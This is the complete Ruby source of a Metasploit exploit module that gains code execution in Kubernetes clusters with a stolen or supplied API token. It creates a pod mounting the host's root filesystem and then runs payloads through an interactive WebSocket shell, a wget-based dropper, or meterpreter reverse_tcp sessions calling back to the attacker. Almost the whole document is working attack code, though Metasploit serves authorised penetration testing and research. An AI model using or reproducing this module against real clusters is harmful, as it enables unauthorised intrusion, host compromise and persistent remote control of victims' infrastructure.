📄 Kubernetes Authenticated Code Execution

# -*- coding: binary -*-
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit
      Rank = ManualRanking
    
      include Msf::Exploit::Retry
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Remote::HTTP::Kubernetes
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Kubernetes authenticated code execution',
            'Description' => %q{
              Execute a payload within a Kubernetes pod.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'alanfoster',
              'Spencer McIntyre'
            ],
            'References' => [
            ],
            'Notes' => {
              'SideEffects' => [
                ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk
                CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created
                IOC_IN_LOGS # a log event is generated if a new pod is created
              ],
              'Reliability' => [ REPEATABLE_SESSION ],
              'Stability' => [ CRASH_SAFE ]
            },
            'DefaultOptions' => {
              'SSL' => true
            },
            'Targets' => [
              [
                'Interactive WebSocket',
                {
                  'Arch' => ARCH_CMD,
                  'Platform' => 'unix',
                  'Type' => :nix_stream,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/interact'
                  },
                  'Payload' => {
                    'Compat' => {
                      'PayloadType' => 'cmd_interact',
                      'ConnectionType' => 'find'
                    }
                  }
                }
              ],
              [
                'Unix Command',
                {
                  'Arch' => ARCH_CMD,
                  'Platform' => 'unix',
                  'Type' => :nix_cmd
                }
              ],
              [
                'Linux Dropper',
                {
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Platform' => 'linux',
                  'Type' => :nix_dropper,
                  'DefaultOptions' => {
                    'CMDSTAGER::FLAVOR' => 'wget',
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Python',
                {
                  'Arch' => [ARCH_PYTHON],
                  'Platform' => 'python',
                  'Type' => :python,
                  'PAYLOAD' => 'python/meterpreter/reverse_tcp'
                }
              ]
            ],
            'DisclosureDate' => '2021-10-01',
            'DefaultTarget' => 0,
            'Platform' => [ 'linux', 'unix' ],
            'SessionTypes' => [ 'meterpreter' ]
          )
        )
    
        register_options(
          [
            Opt::RHOSTS(nil, false),
            Opt::RPORT(nil, false),
            Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]),
            OptString.new('TOKEN', [ false, 'The JWT token' ]),
            OptString.new('POD', [ false, 'The pod name to execute in' ]),
            OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]),
            OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]),
          ]
        )
    
        register_advanced_options(
          [
            OptString.new('PodImage', [ false, 'The image from which to create the pod' ]),
            OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]),
          ]
        )
      end
    
      def pod_name
        @pod_name || datastore['POD']
      end
    
      def create_pod
        if datastore['PodImage'].blank?
          image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq
          fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?
        else
          image_names = [ datastore['PodImage'] ]
        end
    
        ready = false
        image_names.each do |image_name|
          print_status("Using image: #{image_name}")
    
          random_identifiers = Rex::RandomIdentifier::Generator.new({
            first_char_set: Rex::Text::LowerAlpha,
            char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals
          })
          new_pod_definition = {
            apiVersion: 'v1',
            kind: 'Pod',
            metadata: {
              name: random_identifiers[:pod_name],
              labels: {}
            },
            spec: {
              containers: [
                {
                  name: random_identifiers[:container_name],
                  image: image_name,
                  command: ['/bin/sh', '-c', 'exec tail -f /dev/null'],
                  volumeMounts: [
                    {
                      mountPath: '/host_mnt',
                      name: random_identifiers[:volume_name]
                    }
                  ]
                }
              ],
              volumes: [
                {
                  name: random_identifiers[:volume_name],
                  hostPath: {
                    path: '/'
                  }
                }
              ]
            }
          }
          new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata]
    
          @pod_name = random_identifiers[:pod_name]
          print_good("Pod created: #{pod_name}")
    
          print_status('Waiting for the pod to be ready...')
          ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do
            pod = @kubernetes_client.get_pod(pod_name, namespace)
            pod_status = pod[:status]
            next if pod_status == 'Failure'
    
            container_statuses = pod_status[:containerStatuses]
            next unless container_statuses
    
            ready = container_statuses.any? { |status| status[:ready] }
            ready
          rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e
            elog(e)
            false
          end
    
          if ready
            report_note(
              type: 'kubernetes.pod',
              host: rhost,
              port: rport,
              data: {
                pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp),
                imageName: image_name
              },
              update: :unique_data
            )
    
            break
          end
    
          print_error('The pod failed to start within the expected timeframe')
    
          begin
            @kubernetes_client.delete_pod(@pod_name, namespace)
          rescue StandardError
            print_error('Failed to delete the pod')
          end
        end
    
        fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
      end
    
      def exploit
        if session
          print_status("Routing traffic through session: #{session.sid}")
          configure_via_session
        end
    
        validate_configuration!
    
        @kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token })
    
        create_pod if pod_name.blank?
    
        case target['Type']
        when :nix_stream
          # Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
          websocket = @kubernetes_client.exec_pod(
            pod_name,
            datastore['Namespace'],
            datastore['Shell'],
            'stdin' => true,
            'stdout' => true,
            'stderr' => true,
            'tty' => false
          )
    
          print_good('Successfully established the WebSocket')
          channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket)
          handler(channel.lsock)
        when :nix_cmd
          execute_command(payload.encoded)
        when :nix_dropper
          execute_cmdstager
        else
          execute_command(payload.encoded)
        end
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        res = e.http_response
        fail_with(Failure::Unreachable, e.message) if res.nil?
        fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403
        fail_with(Failure::Unknown, e.message)
      else
        report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')
      end
    
      def execute_command(cmd, _opts = {})
        case target['Platform']
        when 'python'
          command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
        else
          command = [datastore['Shell'], '-c', cmd]
        end
    
        result = @kubernetes_client.exec_pod_capture(
          pod_name,
          datastore['Namespace'],
          command,
          'stdin' => false,
          'stdout' => true,
          'stderr' => true,
          'tty' => false
        ) do |stdout, stderr|
          print_line(stdout.strip) unless stdout.blank?
          print_line(stderr.strip) unless stderr.blank?
        end
    
        fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?
    
        status = result&.dig(:error, 'status')
        fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
      end
    end